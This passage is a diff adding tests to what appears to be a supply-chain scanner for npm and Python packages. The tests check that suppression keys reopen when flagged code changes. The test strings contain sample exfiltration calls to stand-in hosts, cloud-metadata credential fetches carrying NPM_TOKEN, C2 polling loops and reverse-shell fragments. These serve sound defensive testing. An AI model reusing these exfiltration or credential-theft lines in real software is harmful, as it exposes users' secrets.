"".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over - 1)) + assert snp._evidence_hash(ev) != snp._evidence_hash(snp._evidence(less, snp._JS_ENV_TOKEN)) + + +def test_evidence_streams_overflow_count_is_exact(): + # The overflow matches are streamed from finditer (not collected into a list + # before the cap), so the "(+N more)" count must still equal the exact number of + # matches past the display cap for a large input, and the shown spans stay + # bounded to the cap. + extra = 1000 + total = snp._MAX_EVIDENCE_MATCHES + extra + body = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(total)) + ev = snp._evidence(body, snp._JS_ENV_TOKEN) + import re as _re + + m = _re.search(r"\(\+(\d+) more\)", ev) + assert m and int(m.group(1)) == extra # every over-cap match counted + assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES # display stays bounded + + +def _ioc_pkg(): + return snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-x", + lockfile_key = "node_modules/evil", + ) + + +def test_known_ioc_evidence_binds_context_not_bare_needle(): + # A known-ioc-string finding keys on the matched-line context, not the bare + # constant, so a changed adjacent fetch/exfil body on the same call reopens + # while the IOC needle stays in place. + ioc = next(iter(snp.KNOWN_IOC_STRINGS)) + old = f"fetch('http://h/'+'{ioc}', {{body: 'OLD'}})\n" + new = f"fetch('http://h/'+'{ioc}', {{body: 'EVIL'}})\n" + + def key(text): + return [ + snp._finding_key(f) + for f in snp.scan_text_blob(_ioc_pkg(), "package/x.js", text) + if f.pattern == "known-ioc-string" + ][0] + + assert key(old) != key(new) + + +def test_always_bad_host_evidence_binds_outbound_context(): + # cred-surface-host (always-bad) binds the outbound call context, so altering + # the exfil body on the same call reopens the key instead of riding the bare + # host literal. + host = snp.CRED_HOST_ALWAYS_BAD[0][0] + old = f"fetch('https://{host}/x', {{body: secretOLD}})\n" + new = f"fetch('https://{host}/x', {{body: secretEVIL}})\n" + + def key(text): + return [ + snp._finding_key(f) + for f in snp.scan_text_blob(_ioc_pkg(), "package/x.js", text) + if f.pattern == "cred-surface-host (always-bad)" + ][0] + + assert key(old) != key(new) + + +def test_outbound_host_config_reindent_is_stable(): + # A formatter-only reindent of the bound continuation lines must NOT change + # the key (whitespace is normalized before the logical-line digest). + tight = "const opts = {\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n" + loose = ( + "const opts = {\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n" + ) + assert snp._finding_key(_host_finding(tight)) == snp._finding_key(_host_finding(loose)) + + +def test_evidence_preserves_intra_string_whitespace(): + # Whitespace OUTSIDE string literals is normalized (reindent-stable), but + # whitespace INSIDE a literal is preserved, so a changed payload body + # (body: 'a b' -> 'a b') reopens the key instead of being erased along with + # indentation. + a = "request('http://169.254.169.254/x', {\n body: 'a b',\n});\n" + b = "request('http://169.254.169.254/x', {\n body: 'a b',\n});\n" + assert snp._finding_key(_host_finding(a)) != snp._finding_key(_host_finding(b)) + + +def test_outbound_cred_surface_binds_context(): + # The outbound cred-surface host finding records the host WITH its URL path / + # fetch call, so changing the outbound path or headers reopens the key rather + # than riding the bare host literal. + pkg = snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + old = "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/old')\n" + new = ( + "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/evil', " + "{headers: steal})\n" + ) + of = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", old) + if f.pattern == "cred-surface-host (outbound)" + ][0] + nf = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", new) + if f.pattern == "cred-surface-host (outbound)" + ][0] + assert snp._finding_key(of) != snp._finding_key(nf) + + +def test_load_baseline_skips_non_dict_entries(tmp_path): + # A malformed current-schema baseline (non-dict entries, or a non-object root) + # must not crash the loader; bad entries are skipped, valid ones still load. + bl = tmp_path / "bad.json" + bl.write_text( + json.dumps( + { + "version": snp._BASELINE_SCHEMA_VERSION, + "entries": ["oops", 123, {"package": "p", "file": "package/a.js", "pattern": "x"}], + } + ), + encoding = "utf-8", + ) + keys = snp._load_baseline(str(bl)) + assert keys == {("p", "a.js", "x", snp._evidence_hash(""))} + # A non-object root is rejected with a warning, not a crash. + arr = tmp_path / "arr.json" + arr.write_text("[1, 2, 3]", encoding = "utf-8") + assert snp._load_baseline(str(arr)) == set() + + def test_legacy_schema_baseline_is_ignored(tmp_path): # A pre-v2 baseline stored basenames; its keys are ambiguous under # package-relative matching, so a populated legacy file is ignored (fail @@ -418,6 +894,67 @@ def test_legacy_schema_baseline_is_ignored(tmp_path): assert snp._load_baseline(str(bl)) == set() +def test_v2_baseline_migrates_by_recomputing_hash(tmp_path): + # v2 shares v3's package-relative keying, so its entries migrate (the hash is + # recomputed from stored evidence) rather than being thrown away, matching the + # Python loader. An unchanged finding stays suppressed. + bl = tmp_path / "v2.json" + evidence = "fetch('http://ok')" + bl.write_text( + json.dumps( + { + "version": 2, + "entries": [ + { + "package": "left-pad", + "file": "package/dist/index.js", + "pattern": "obfuscated-blob", + "severity": snp.HIGH, + "evidence": evidence, + } + ], + } + ), + encoding = "utf-8", + ) + finding = _finding( + "left-pad@9.9.9", "package/dist/index.js", "obfuscated-blob", evidence = evidence + ) + assert snp._finding_key(finding) in snp._load_baseline(str(bl)) + + +def test_outbound_cred_surface_host_config_binds_full_context(): + # The host-config branch captures the whole line (path + headers), so changing + # the outbound headers/body on the same hostname line reopens the key. + pkg = snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + path = "/latest/meta-data/iam/security-credentials/role-name" + old = ( + "const opts = {hostname: '169.254.169.254', " + f"path: '{path}', headers: {{a: 'old'}}}};\nrun(opts);\n" + ) + new = ( + "const opts = {hostname: '169.254.169.254', " + f"path: '{path}', headers: {{a: 'evil', token: process.env.NPM_TOKEN}}}};\nrun(opts);\n" + ) + of = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", old) + if f.pattern == "cred-surface-host (outbound)" + ][0] + nf = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", new) + if f.pattern == "cred-surface-host (outbound)" + ][0] + assert snp._finding_key(of) != snp._finding_key(nf) + + def test_committed_baseline_is_empty_and_valid(): # Shipped baseline must parse and (by design) suppress nothing: the live corpus is clean. path = REPO_ROOT / "scripts" / "scan_npm_packages_baseline.json" diff --git a/tests/security/test_scan_packages.py b/tests/security/test_scan_packages.py index 91331668d6..48e6da5f66 100644 --- a/tests/security/test_scan_packages.py +++ b/tests/security/test_scan_packages.py @@ -322,20 +322,781 @@ def test_proc_self_status_pattern_is_live(): assert not sp.RE_ANTI_ANALYSIS.search("if platform.system() == 'Linux': pass") -def _mk(sev, pkg, fname, check): - return sp.Finding(sev, pkg, fname, check, "evidence") +def _mk( + sev, + pkg, + fname, + check, + evidence = "evidence", +): + return sp.Finding(sev, pkg, fname, check, evidence) def test_baseline_key_version_stable_but_path_specific(): a = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/sessions.py", "X") b = _mk(sp.CRITICAL, "Requests", "requests-3.0.0/requests/sessions.py", "X") - # Same package-relative path across versions -> same key (stable). + # Same package-relative path + same matched code across versions -> same key. assert sp._finding_key(a) == sp._finding_key(b) # Same basename in a different path -> different key (no over-suppression). c = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/vendor/sessions.py", "X") assert sp._finding_key(a) != sp._finding_key(c) +def test_baseline_key_line_shift_stable_but_code_specific(): + # The evidence hash strips ``L:`` markers, so a benign upstream edit that + # only shifts line numbers keeps the key stable... + base = _mk( + sp.CRITICAL, + "botocore", + "botocore/utils.py", + "Harvests environment variables/secrets AND makes network calls", + "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies", + ) + shifted = _mk( + sp.CRITICAL, + "botocore", + "botocore/utils.py", + "Harvests environment variables/secrets AND makes network calls", + "Env: L612: env = os.environ.copy()\nNetwork: L48: from urllib.request import getproxies", + ) + assert sp._finding_key(base) == sp._finding_key(shifted) + # ...but a NEW payload in the same file/check (different matched code) does + # not inherit the suppression -- this is the supply-chain bypass we close. + malicious = _mk( + sp.CRITICAL, + "botocore", + "botocore/utils.py", + "Harvests environment variables/secrets AND makes network calls", + "Env: L417: env = os.environ.copy()\nNetwork: requests.post('https://evil.example/exfil', data=env)", + ) + assert sp._finding_key(base) != sp._finding_key(malicious) + + +def test_extract_evidence_records_all_matches(): + # The whole point of P1: a match appended after the first few must show up + # in the evidence, so it changes the key instead of riding the earlier ones. + src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(6)) + ev = sp._extract_evidence(src, sp.RE_NETWORK) + assert ev.count("requests.get(") == 6 + + +def test_baseline_key_reopens_on_appended_match(): + # A reviewed file already trips a check with several matches; a later exfil + # call appended to the same file/check must reopen the finding. + base_src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(3)) + payload_src = base_src + "\nrequests.post('https://evil.example/exfil', data=os.environ)" + base = _mk(sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(base_src, sp.RE_NETWORK)) + payload = _mk( + sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(payload_src, sp.RE_NETWORK) + ) + assert sp._finding_key(base) != sp._finding_key(payload) + + +def test_baseline_key_inner_line_marker_is_not_stripped(): + # Only the leading L: marker is dropped; an L: inside the matched + # code is part of the code, so changing it must reopen the finding... + a = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L10: url = 'http://h/L42:/p'") + b = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L10: url = 'http://h/L7:/p'") + assert sp._finding_key(a) != sp._finding_key(b) + # ...while only the leading marker (line number) changing stays stable. + c = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L55: url = 'http://h/L42:/p'") + assert sp._finding_key(a) == sp._finding_key(c) + + +def test_baseline_key_indentation_is_significant(): + # Moving a flagged line out of a guarded block (dedent) changes executable + # context, so the same code at a different indent must reopen the finding. + guarded = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: requests.get(url)") + top_level = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: requests.get(url)") + assert sp._finding_key(guarded) != sp._finding_key(top_level) + + +def test_canon_evidence_keeps_bitwise_or_in_a_span(): + # ' | ' only delimits spans when it precedes an L: marker; a pipe inside + # matched code (bitwise OR, typing.Union) is code, so changing an operand + # must reopen the finding instead of deduping to the same key. + a = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: mode = os.O_RDONLY | os.O_CLOEXEC") + b = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: mode = os.O_RDONLY | os.O_EVIL") + assert sp._finding_key(a) != sp._finding_key(b) + # The OR survives canonicalization as one span (not split on the pipe). + assert sp._canon_evidence("L5: a = X | Y") == "a = X | Y" + + +def test_extract_evidence_caps_long_line_but_binds_tail(): + # A long (e.g. minified) line is not dumped verbatim: the display is bounded to + # a prefix, but a sha256 of the full line is appended so a payload past the cut + # still changes the key instead of being silently clipped. + marker = "EXFIL_PAST_CAP" + pad = "# " + " " * 300 + line = "requests.get('http://a') " + pad + marker + ev = sp._extract_evidence(line + "\n", sp.RE_NETWORK) + assert marker not in ev # tail past the cap is not shown verbatim + assert "sha256:" in ev # but it is pinned by a digest + assert len(ev) < len(line) # bounded, not the whole minified line + base = sp._extract_evidence("requests.get('http://a') " + pad + "x\n", sp.RE_NETWORK) + assert sp._evidence_hash(ev) != sp._evidence_hash(base) + + +def test_extract_evidence_binds_call_continuation_past_12_lines(): + # A matched call that stays open well beyond the old 12-line continuation cap + # still binds its later arguments: a changed body on a deep continuation line + # (here ~22 lines in) must reopen instead of riding the first 12 lines. + head = "requests.post('http://h',\n" + middle = "".join(f" opt{i} = ({i}),\n" for i in range(20)) + old = head + middle + " data = {'x': 'old'},\n)\n" + new = head + middle + " data = {'x': 'evil'},\n)\n" + eo = sp._extract_evidence(old, sp.RE_NETWORK) + en = sp._extract_evidence(new, sp.RE_NETWORK) + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_logical_line_end_follows_backslash_continuation(): + # A call split with an explicit backslash before the parenthesis must still + # bind the continuation line, so changing the URL on the next physical line + # reopens instead of returning at the zero-depth API line. + old = "requests.post \\\n ('http://old/x', data = 1)\n" + new = "requests.post \\\n ('http://evil/x', data = 1)\n" + eo = sp._extract_evidence(old, sp.RE_NETWORK) + en = sp._extract_evidence(new, sp.RE_NETWORK) + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_logical_line_end_blanks_multiline_triple_string(): + # A ) inside a triple-quoted string argument must not close the call early; the + # data= after the closing triple-quote must still bind so a changed payload + # reopens (a per-line string blanker cannot mask a multi-line string). + old = 'requests.post("""http://h\n/path)""", data={"x": "old"})\n' + new = 'requests.post("""http://h\n/path)""", data={"x": "evil"})\n' + eo = sp._extract_evidence(old, sp.RE_NETWORK) + en = sp._extract_evidence(new, sp.RE_NETWORK) + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_extract_evidence_binds_call_embedded_in_string(): + # A call whose text lives INSIDE a triple-quoted string (a dropper embedding a + # setup.py payload) must still bind its argument lines. Blanking the multi-line + # string must not shrink the span below the legacy single-line view: the union + # of both views keeps the URL argument bound so a changed payload reopens. + src = ( + 'PAYLOAD = """\n' + "urllib.request.urlretrieve(\n" + ' "http://evil/old.pyz",\n' + ' "/tmp/x.pyz",\n' + ")\n" + '"""\n' + ) + eo = sp._extract_evidence(src, sp.RE_NETWORK) + en = sp._extract_evidence(src.replace("old.pyz", "evil2.pyz"), sp.RE_NETWORK) + assert "L3" in eo # the URL argument line is bound, not just the API line + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_extract_evidence_overflow_digest_is_line_shift_stable(): + # The overflow digest canonicalizes (strips L: markers), so inserting an + # unrelated line above the overflow region does not change it (line-shift + # stability), while a real payload change inside the overflow still reopens. + n = sp._MAX_EVIDENCE_SPANS + src = "\n".join(f"requests.get('http://a/p{i}')" for i in range(n + 5)) + sha = lambda e: re.search(r"more\) sha256:([0-9a-f]+)", e).group(1) + e_a = sp._extract_evidence(src, sp.RE_NETWORK) + assert "more) sha256:" in e_a + e_shift = sp._extract_evidence("# unrelated\n" + src, sp.RE_NETWORK) + assert sha(e_a) == sha(e_shift) # a pure line shift does not change the digest + e_chg = sp._extract_evidence(src.replace(f"a/p{n + 3}'", "a/pEVIL'"), sp.RE_NETWORK) + assert sha(e_a) != sha(e_chg) # a real change in the overflow region reopens + + +def test_extract_evidence_overflow_is_streamed_and_bounded(): + # Past the display cap the evidence streams overflow spans into one digest + # instead of materializing a rendered span per match, so a file with far more + # matches than the cap yields a bounded string (at most cap spans plus the + # "(+N more)" digest line) while N counts every overflow match and a change to + # an over-cap match still reopens. + n = sp._MAX_EVIDENCE_SPANS + src = "\n".join(f"requests.get('http://a/p{i}')" for i in range(n + 500)) + ev = sp._extract_evidence(src, sp.RE_NETWORK) + assert ev.count(" sha256:") == 1 # only the overflow digest, no per-span digests + assert "(+500 more)" in ev # every match past the cap is counted + # bounded: exactly cap rendered spans plus the single "(+N more)" marker + assert len(ev.split(" | ")) == n + 1 + sha = lambda e: re.search(r"more\) sha256:([0-9a-f]+)", e).group(1) + chg = sp._extract_evidence(src.replace(f"a/p{n + 200}'", "a/pEVIL'"), sp.RE_NETWORK) + assert sha(ev) != sha(chg) # an over-cap payload change reopens + + +def test_extract_evidence_same_line_close_then_open_binds_call(): + # A continued statement that closes on the same physical line that opens a + # flagged call, e.g. `]; requests.post(`, nets to <= 0 under a plain bracket + # count, dropping the call's `(` so the scan would stop at the opener line. + # Order-aware counting keeps the opener, so the argument lines bind and a + # changed body on a continuation line reopens. + old = "x = [a]; requests.post(\n 'http://h/old',\n data=secret,\n)\n" + new = "x = [a]; requests.post(\n 'http://h/old',\n data=EVIL,\n)\n" + assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash( + sp._extract_evidence(new, sp.RE_NETWORK) + ) + + +def test_extract_evidence_backslash_continued_string_binds_tail(): + # A single-quoted string can continue across lines with a trailing backslash. + # The `)` inside that continued string on the next line must not be counted as + # code and close the call early, or a changed argument after it would not + # reopen. The blanker tracks the continuation so the whole call binds. + old = "requests.post('http://h\\\n/path)', data='old')\n" + new = "requests.post('http://h\\\n/path)', data='EVIL')\n" + assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash( + sp._extract_evidence(new, sp.RE_NETWORK) + ) + + +def test_extract_evidence_long_call_tail_past_soft_cap_reopens(): + # A call with more argument lines than the soft cap (_MAX_CALL_LINES) is still + # followed to its real close under the hard limit, so a changed payload on a + # continuation line well past the soft cap reopens instead of riding the first + # _MAX_CALL_LINES lines. A bracket that never closes stays bound to the soft cap. + mid = "\n".join(f" opt{i}=1," for i in range(sp._MAX_CALL_LINES + 20)) + old = "requests.post(\n" + mid + "\n data='old',\n)\n" + new = "requests.post(\n" + mid + "\n data='EVIL',\n)\n" + assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash( + sp._extract_evidence(new, sp.RE_NETWORK) + ) + + +def test_extract_evidence_fallback_line_numbers_are_correct(): + # The DOTALL fallback maps match offsets to line numbers via precomputed + # newline offsets (bisect, not a quadratic content.count per match); guard that + # the mapping is exact so a cross-line match is recorded at its true line and a + # changed continuation reopens. + content = "x = 1\ny = 2\nwhile True:\n time.sleep(60)\n requests.get('http://a/old')\n" + e1 = sp._extract_evidence(content, sp.RE_C2_POLLING) + e2 = sp._extract_evidence(content.replace("/old", "/evil"), sp.RE_C2_POLLING) + assert "L3" in e1 # the while-True loop starts on line 3, not line 1 + assert sp._evidence_hash(e1) != sp._evidence_hash(e2) + + +def test_large_js_bundle_pins_whole_content_when_other_finding_fires(): + # A >100 KB JS bundle that also trips the hex-var obfuscation signature binds + # the whole bundle, so changing payload code elsewhere (obfuscation line + # unchanged) reopens rather than riding the matched signature line. + obf = "var _0xabcd = function(){};\n" + pad = "// filler\n" * 11000 # push the file over the 100 KB large-bundle bar + fo = sp.check_js_file(obf + pad + "var payload = 'old';\n", "pkg/bundle.js", "pkg") + fn = sp.check_js_file(obf + pad + "var payload = 'evil';\n", "pkg/bundle.js", "pkg") + co = [f for f in fo if "hex-var obfuscation" in f.check][0] + cn = [f for f in fn if "hex-var obfuscation" in f.check][0] + assert "bundle-sha256:" in co.evidence + assert sp._evidence_hash(co.evidence) != sp._evidence_hash(cn.evidence) + + +def test_pth_catch_all_import_evidence_is_bounded_but_reopens(): + # A large .pth made only of benign-looking imports is bounded in the evidence + # (prefix plus digest), not dumped in full, yet still reopens when an import + # line changes because the digest covers every line. + base = "".join(f"import mod{i}\n" for i in range(200)) + fo = [ + f + for f in sp.check_pth_file(base + "import secret_old\n", "p/x.pth", "p") + if "executable import line" in f.check + ] + fn = [ + f + for f in sp.check_pth_file(base + "import secret_evil\n", "p/x.pth", "p") + if "executable import line" in f.check + ] + assert fo and fn + assert "sha256:" in fo[0].evidence and len(fo[0].evidence) < len(base) + assert sp._evidence_hash(fo[0].evidence) != sp._evidence_hash(fn[0].evidence) + + +def test_extract_evidence_records_all_multiline_matches(): + # The DOTALL fallback must record every distinct cross-line match, so a second + # long-sleep appended below an already-flagged one reopens the finding. + one = "foo = time.sleep(\n 600\n)\n" + two = one + "bar = time.sleep(\n 900\n)\n" + ev1 = sp._extract_evidence(one, sp.RE_ANTI_ANALYSIS) + ev2 = sp._extract_evidence(two, sp.RE_ANTI_ANALYSIS) + assert ev2.count("time.sleep(") == 2 # both matches, not just the first + assert sp._evidence_hash(ev1) != sp._evidence_hash(ev2) + + +def test_multiline_evidence_reopens_on_continuation_change(): + # A DOTALL match records every line it spans, so changing the URL inside an + # already-flagged C2 loop (a continuation line) reopens the finding... + old = "while True:\n time.sleep(60)\n requests.get('http://old.example/poll')\n" + new = "while True:\n time.sleep(60)\n requests.get('http://evil.example/c2')\n" + fo = _mk( + sp.CRITICAL, + "p", + "p/loop.py", + "C2 polling/beaconing loop detected", + sp._extract_evidence(old, sp.RE_C2_POLLING), + ) + fn = _mk( + sp.CRITICAL, + "p", + "p/loop.py", + "C2 polling/beaconing loop detected", + sp._extract_evidence(new, sp.RE_C2_POLLING), + ) + assert sp._finding_key(fo) != sp._finding_key(fn) + # ...while a benign line shift of the same loop stays stable. + shifted = _mk( + sp.CRITICAL, + "p", + "p/loop.py", + "C2 polling/beaconing loop detected", + sp._extract_evidence("\n\n" + old, sp.RE_C2_POLLING), + ) + assert sp._finding_key(fo) == sp._finding_key(shifted) + + +def test_extract_evidence_bounds_pathological_multiline_span(): + # A greedy DOTALL span is capped to its head line plus a digest of the rest, + # so evidence stays bounded while still binding the full match. + big = "vmware\n" + "x\n" * 50 + "detect\n" + ev = sp._extract_evidence(big, sp.RE_ANTI_ANALYSIS) + assert "sha256:" in ev and ev.count("\n") <= 1 + + +def test_canon_evidence_keeps_duplicate_spans(): + # A second identical matched line in a new code path must change the key, so + # an appended duplicate payload occurrence is not deduped to the same hash. + one = " requests.post(url, data=env)" + base = _mk(sp.CRITICAL, "p", "p/x.py", "c", f"L2: {one}") + dup = _mk(sp.CRITICAL, "p", "p/x.py", "c", f"L2: {one} | L5: {one}") + assert sp._finding_key(base) != sp._finding_key(dup) + + +def test_canon_evidence_does_not_strip_inner_marker_from_raw_code(): + # Raw .pth evidence has no leading L: marker; an L:-looking substring + # inside the code must be kept, so changing the code before it reopens. + base = _mk( + sp.HIGH, + "p", + "p/x.pth", + ".pth has 1 executable import line(s)", + "import os; note='L7: same_suffix'", + ) + changed = _mk( + sp.HIGH, + "p", + "p/x.pth", + ".pth has 1 executable import line(s)", + "import urllib.request; note='L7: same_suffix'", + ) + assert sp._finding_key(base) != sp._finding_key(changed) + + +def test_capped_multiline_digest_is_line_shift_stable(): + # A span over the cap is digested from markerless code, so a pure line shift + # of the same span stays stable while a code change still reopens. + src = ( + "while True:\n" + + " x = 1\n" * 20 + + " time.sleep(60)\n requests.get('http://old.example/poll')\n" + ) + e1 = sp._extract_evidence(src, sp.RE_C2_POLLING) + e2 = sp._extract_evidence("\n\n" + src, sp.RE_C2_POLLING) + assert "sha256:" in e1 # span exceeded the cap + assert sp._evidence_hash(e1) == sp._evidence_hash(e2) + changed = src.replace("http://old.example/poll", "http://evil.example/c2") + assert sp._evidence_hash(e1) != sp._evidence_hash( + sp._extract_evidence(changed, sp.RE_C2_POLLING) + ) + + +def test_canon_evidence_strips_punctuation_label_marker(): + # A label with punctuation (network+exec:) must still be stripped, so the + # line number alone does not change the key. + a = "network+exec: L12: subprocess.run(['id'])" + b = "network+exec: L99: subprocess.run(['id'])" + assert sp._evidence_hash(a) == sp._evidence_hash(b) + + +def test_extract_evidence_binds_call_continuation_lines(): + # A multi-line network call binds its argument lines, so a changed URL on a + # continuation line reopens even though the line with the API name is unchanged. + old = "requests.post(\n 'http://old.example',\n data=env,\n)\n" + new = "requests.post(\n 'http://evil.example',\n data=env,\n)\n" + eo = sp._extract_evidence(old, sp.RE_NETWORK) + en = sp._extract_evidence(new, sp.RE_NETWORK) + assert "old.example" in eo and "evil.example" in en + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_extract_evidence_records_multiline_after_oneline(): + # A one-line C2 match no longer suppresses a later multi-line C2 loop: the + # appended cross-line construct is recorded too, so it cannot ride the key. + oneline = "while True: time.sleep(60); requests.get('http://a/poll')\n" + appended = oneline + "while True:\n time.sleep(30)\n requests.get('http://evil/c2')\n" + eo = sp._extract_evidence(oneline, sp.RE_C2_POLLING) + ea = sp._extract_evidence(appended, sp.RE_C2_POLLING) + assert "evil" in ea + assert sp._evidence_hash(eo) != sp._evidence_hash(ea) + + +def test_extract_evidence_giant_span_binds_full_interior(): + # A giant greedy DOTALL span bridging anchors across the whole file is bound by + # a digest of its full content (not just the outer anchors), so a cross-line + # payload inserted into the bridged interior between unchanged outer anchors + # reopens instead of riding the key. (Binding only head/tail would fail open on + # an interior insertion.) A pure line shift still stays stable. + gap = "\n".join(f" x = {i}" for i in range(70)) + base = "import socket\nsock.connect(addr)\n" + gap + "\nos.dup2(fd, 0)\nsubprocess.Popen(cmd)\n" + # interior insertion of a cross-line payload between the unchanged outer anchors + injected = base.replace(" x = 35", " x = 35\n sock.connect(evilhost)") + ea = sp._extract_evidence(base, sp.RE_REVERSE_SHELL) + ei = sp._extract_evidence(injected, sp.RE_REVERSE_SHELL) + assert "sha256:" in ea # full interior bound by a digest + assert sp._evidence_hash(ea) != sp._evidence_hash(ei) # interior change reopens + shifted = sp._extract_evidence("\n\n" + base, sp.RE_REVERSE_SHELL) + assert sp._evidence_hash(ea) == sp._evidence_hash(shifted) # pure shift stable + + +def test_extract_evidence_giant_span_appended_payload_reopens(): + # The anchor binding must reopen when an appended cross-line payload extends the + # bridged span past the cap: an existing one-line /tmp+subprocess finding plus a + # NEW /tmp/evil line and a later subprocess.run (60+ lines apart, sharing no + # single line so the per-line pass never binds them) moves the span's tail + # anchor, so the evidence changes instead of riding the unchanged key. + existing = "import os\n/tmp/x; subprocess.run(['id'])\n" + gap = "\n".join(f" pad{i} = {i}" for i in range(65)) + appended = existing + "/tmp/evil\n" + gap + "\nsubprocess.run(['curl', 'evil'])\n" + base = sp._extract_evidence(existing, sp.RE_TEMP_EXEC) + app = sp._extract_evidence(appended, sp.RE_TEMP_EXEC) + assert sp._evidence_hash(base) != sp._evidence_hash(app) + # a pure line shift of the same payload does not reopen + shifted = sp._extract_evidence("\n\n" + appended, sp.RE_TEMP_EXEC) + assert sp._evidence_hash(app) == sp._evidence_hash(shifted) + + +def test_hidden_payload_binds_visible_exec_trigger(): + # The hidden-payload finding binds the visible exec/eval line that makes the + # docstring runnable, so flipping a harmless eval("1+1") to exec(__doc__) (which + # now runs the same hidden network+exec payload) reopens instead of riding the + # key on the unchanged hidden text. + hidden = '"""\nimport requests; requests.get("http://evil")\nsubprocess.run(["sh"])\n"""\n' + benign = hidden + 'eval("1+1")\n' + armed = hidden + "exec(__doc__)\n" + + def key(src): + return [ + sp._finding_key(f) + for f in sp._hidden_payload_findings(src, sp._strip_noncode(src), "p/x.py", "p") + if "hidden network+exec" in f.check + ][0] + + assert key(benign) != key(armed) + + +def test_js_finding_pins_full_content_digest(): + # A JS finding pins the full file content digest, so a backtick template literal + # that closes the bracket span early cannot let later option/body lines change + # without reopening (the Python-string-aware extractor would otherwise omit + # them). Holds for small files too, not just large bundles. + old = "window.ethereum.request(`tpl with ) paren`,\n {method: 'eth', body: 'OLD'})\n" + new = "window.ethereum.request(`tpl with ) paren`,\n {method: 'eth', body: 'EVIL'})\n" + fo = [f for f in sp.check_js_file(old, "p/w.js", "p") if "Web3" in f.check][0] + fn = [f for f in sp.check_js_file(new, "p/w.js", "p") if "Web3" in f.check][0] + assert "bundle-sha256:" in fo.evidence + assert sp._finding_key(fo) != sp._finding_key(fn) + + +def test_extract_evidence_binds_moderate_appended_dotall_span(): + # A multi-line construct appended under a check that already has a one-line + # match is still recorded when it is not a giant whole-file bridge, so its + # payload reopens instead of riding the old one-line match. + one = "while True: time.sleep(60); requests.get('http://a/poll')\n" + gap = "\n".join(f" x = {i}" for i in range(20)) + old = one + "while True:\n" + gap + "\n requests.get('http://old/c2')\n" + new = one + "while True:\n" + gap + "\n requests.get('http://evil/c2')\n" + eo = sp._extract_evidence(old, sp.RE_C2_POLLING) + en = sp._extract_evidence(new, sp.RE_C2_POLLING) + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_canon_evidence_reorder_reopens(): + # Reordering matched lines changes executable context, so the key reopens + # (the canon preserves discovery order rather than sorting). + a = "Net: L10: requests.post(url)\nEnv: L20: env = os.environ.copy()" + b = "Env: L20: env = os.environ.copy()\nNet: L10: requests.post(url)" + assert sp._evidence_hash(a) != sp._evidence_hash(b) + + +def test_logical_line_end_ignores_brackets_in_strings(): + # A ) inside a string argument must not close the call early, so later + # argument lines still bind and a changed payload there reopens. + old = "requests.post('http://h/p)',\n data=secret_old,\n)\n" + new = "requests.post('http://h/p)',\n data=secret_new,\n)\n" + eo = sp._extract_evidence(old, sp.RE_NETWORK) + en = sp._extract_evidence(new, sp.RE_NETWORK) + assert "data=secret_old" in eo + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_base64_exec_blob_finding_binds_every_blob(): + # The base64+exec+blob finding digests every blob, so appending a second + # encoded payload reopens even when the first blob and decode line are unchanged. + head = "import base64\nblob1 = '" + "A" * 220 + "'\nexec(base64.b64decode(blob1))\n" + old = head + new = head + "blob2 = '" + "B" * 220 + "'\n" + fo = [f for f in sp.check_py_file(old, "p/x.py", "p") if "large encoded blob" in f.check] + fn = [f for f in sp.check_py_file(new, "p/x.py", "p") if "large encoded blob" in f.check] + assert fo and fn + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_pth_large_blob_finding_binds_every_blob(): + # The .pth large-blob finding digests every blob, so appending a second + # encoded payload reopens rather than riding the unchanged first blob. + old = "import os\n" + "X" * 220 + "\n" + new = old + "Y" * 220 + "\n" + fo = [f for f in sp.check_pth_file(old, "p/x.pth", "p") if "large base64-like blob" in f.check] + fn = [f for f in sp.check_pth_file(new, "p/x.pth", "p") if "large base64-like blob" in f.check] + assert fo and fn + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_pth_unusually_large_finding_is_content_bound(): + # Two different payloads of equal size and import count must get different + # keys: the finding now 